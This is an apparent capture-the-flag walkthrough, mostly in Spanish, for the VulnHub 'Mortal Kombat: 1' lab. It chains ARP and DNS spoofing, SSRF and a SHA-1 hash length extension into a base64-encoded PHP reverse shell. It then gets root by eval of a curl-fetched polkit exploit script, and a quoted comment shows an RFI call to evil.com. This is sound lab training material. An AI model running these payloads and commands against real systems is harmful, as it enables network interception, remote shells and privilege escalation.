vulnhub walkthrough MORTAL KOMBAT: 1: ARP poison routing + dns spoofing, ssrf hash-length attack

 https://www.vulnhub.com/entry/mortal-kombat-1,383/

You'll need to master and chain together multiple vulnerabilities

1. Se nos presenta lo siguiente

Curl test page

admin area (works only if localhost)
test page

testpage:

http://192.168.2.24/index.php?url=http://google.com

Probamos lfi

http://192.168.2.24/index.php?url=http://127.0.0.1/adminArea.php

you can only render page from google.com domain

2. Tenemos que spoofear la petición dns de la máquina virtual haciéndole creer que "google.com" es 127.0.0.1 para poder acceder a adminArea.php. 

en kali usar ettercap

- configurar etc/ettercap/etter.dns

google.com A 127.0.0.1

- Arrancar y hacer mitm arp poisoning seleccionando target1 la víctima y target2 el router

- Activar dns spoofing

3. Accedemos a adminArea.php con Burp

<!--
After the PT @Bytevsbyt3 told me that my page was really unsecure. He told me
that he pwn the server via RFI with ?file=http://evil.com/rfi.txt
I read about this vulnerability and now i fixed it. Now it's secure and I'm
pretty proud of myself and my code:).
I leave the fixed code in the source, in such way you can read about a good fix from here ;)
Before(vuln code!!!):
if(isset($_GET['file']) {
  $file = $_GET['file'];
  include($file);
  .
  .
  .
  .
Now(fixed code):
if(isset($_GET['file']) && isset($_GET['hash'])) {
  $file = $_GET['file'];
  if (sha1($secret.$file) === $_GET['hash']) {//preventing filename tampering
    $file = basename($file);//eliminate path travrsal and other shitty attack :D
    include($file);
  }
  .
  .
  .
  -->
</body>
<h2>Read file page</h2>
 in pure <b>php</b>
  <form id="myForm" >
    <input type="text" name="file" value="robots.txt">
    <input name="hash" value="e41b733f1d0c914cd72681ce93ea20c4ce6b6fed">
    <input type="submit">
  </form>
</html>

- Vemos el contenido y se trata de un hash length extension attack. Usamos hashpump. Se trataría de probar incrementando la longitud del secret hasta que funcione. Finalmente es 42.

~/vuln/mortalkombat/hash_extender$ hashpump
Input Signature: e41b733f1d0c914cd72681ce93ea20c4ce6b6fed
Input Data: robots.txt
Input Key Length: 42
Input Data to Add: /data:;base64,PD9waHAgc3lzdGVtKCIvYmluL2Jhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yLjg0LzEyMzQgMD4mMSciKTsgPz4=
19d7d8f548b3986d59c1510a8a8a31a31cbbdb6a
robots.txt\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xa0/data:;base64,PD9waHAgc3lzdGVtKCIvYmluL2Jhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yLjg0LzEyMzQgMD4mMSciKTsgPz4=

Como payload se envía un shell reverse

En Burp:

GET /index.php?url=http%3a//google.com/adminArea.php%3ffile%3drobots.txt%2580%2500%2500%2500%2500%2500%2500%2500%2500%2500%2501%25a0/data%253a%253bbase64,PD9waHAgc3lzdGVtKCIvYmluL2Jhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yLjg0LzEyMzQgMD4mMSciKTsgPz4=%26hash%3d19d7d8f548b3986d59c1510a8a8a31a31cbbdb6a HTTP/1.1

- Accedemos. Para rootear hay que hacer overflow en opt agenda. Pero también es vulnerable a polkit.

eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"